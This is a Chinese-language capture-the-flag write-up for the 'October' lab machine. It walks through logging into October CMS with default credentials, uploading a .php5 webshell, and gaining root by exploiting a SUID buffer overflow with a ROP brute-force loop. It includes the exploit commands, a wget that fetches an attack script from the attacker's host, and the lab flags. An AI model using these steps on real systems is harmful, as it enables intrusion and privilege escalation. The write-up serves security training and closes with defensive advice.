[Meachines] [Medium] October October-CMS+BOF-ROP链自动化工具与权限提升
字数 1330 2025-08-20 18:18:16
October CMS 漏洞利用与权限提升技术分析
1. 信息收集阶段
1.1 初始扫描
目标系统信息:
- IP地址: 10.10.10.16
- 开放端口:
- TCP 22 (SSH): OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
- TCP 80 (HTTP): Apache httpd 2.4.7 (Ubuntu)
NMAP扫描命令:
nmap -p- 10.10.10.16 --min-rate 1000 -sC -sV
1.2 Web应用识别
- HTTP标题: October CMS - Vanilla
- 潜在风险方法: PUT, PATCH, DELETE
- 管理后台登录地址: http://10.10.10.16/backend/backend/auth/signin
- 默认凭据: username:admin / password:admin
2. Web应用漏洞利用
2.1 文件上传绕过
- 媒体上传路径: http://10.10.10.16/backend/cms/media
- 绕过方法: 上传.php5后缀文件
- Webshell访问路径: http://10.10.10.16/storage/app/media/p0wny.php5
- 获取user.txt: 2e2e813cc41a0812857cb7e7cdb5daa3
3. 权限提升分析
3.1 SUID文件查找
find / -perm -4000 -type f 2>/dev/null
发现可疑二进制文件: /usr/local/bin/ovrflw
3.2 二进制安全分析
使用GDB检查安全机制:
gdb -q ./ovrflw
checksec
安全机制状态:
- CANARY: disabled (增加栈溢出攻击风险)
- FORTIFY: disabled (增加缓冲区溢出攻击风险)
- NX: ENABLED (数据段不可执行,降低shellcode执行风险)
- PIE: disabled (增加代码重用攻击风险)
- RELRO: Partial (部分内存重定位保护)
ASLR状态检查:
cat /proc/sys/kernel/randomize_va_space
输出为2,表示完全地址空间布局随机化(ASLR)已启用
4. 缓冲区溢出漏洞利用
4.1 偏移量确定
- 创建模式字符串:
gdb-peda$ pattern_create 1000
- 运行程序并触发崩溃:
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA
$$
A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
- 确定偏移量:
gdb-peda$ pattern_offset AA8A
结果为112字节
4.2 ROP链自动化构造
- 下载ROP工具:
wget http://10.10.16.17/rops.sh; chmod +x rops.sh
- 运行ROP生成器:
./rops.sh /usr/local/bin/ovrflw
工具来源: https://github.com/MartinxMax/ROPS
4.3 利用ASLR的ROP攻击
由于ASLR启用,需要多次尝试:
while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x83\x63\xb7" + "\x60\xb2\x62\xb7" + "\xac\xab\x75\xb7"'); done
5. 最终成果
成功获取root权限并读取root.txt:
85319abefab83f503bc66023fa1c3e42
6. 关键要点总结
- 信息收集:全面扫描和识别系统服务是渗透测试的基础
- 默认凭据:始终尝试默认/弱凭据,特别是管理后台
- 文件上传绕过:尝试非常规后缀(.php5)绕过过滤
- 二进制分析:检查安全机制状态指导攻击策略
- ROP利用:NX启用时,ROP是绕过数据执行保护的有效方法
- ASLR应对:通过循环尝试解决地址随机化问题
7. 防御建议
- 禁用或修改默认管理凭据
- 加强文件上传过滤,不仅检查后缀还要验证内容
- 编译时启用所有安全机制(CANARY, FORTIFY, PIE等)
- 保持系统和应用更新
- 最小化SUID二进制文件数量
- 考虑使用更高强度的ASLR实现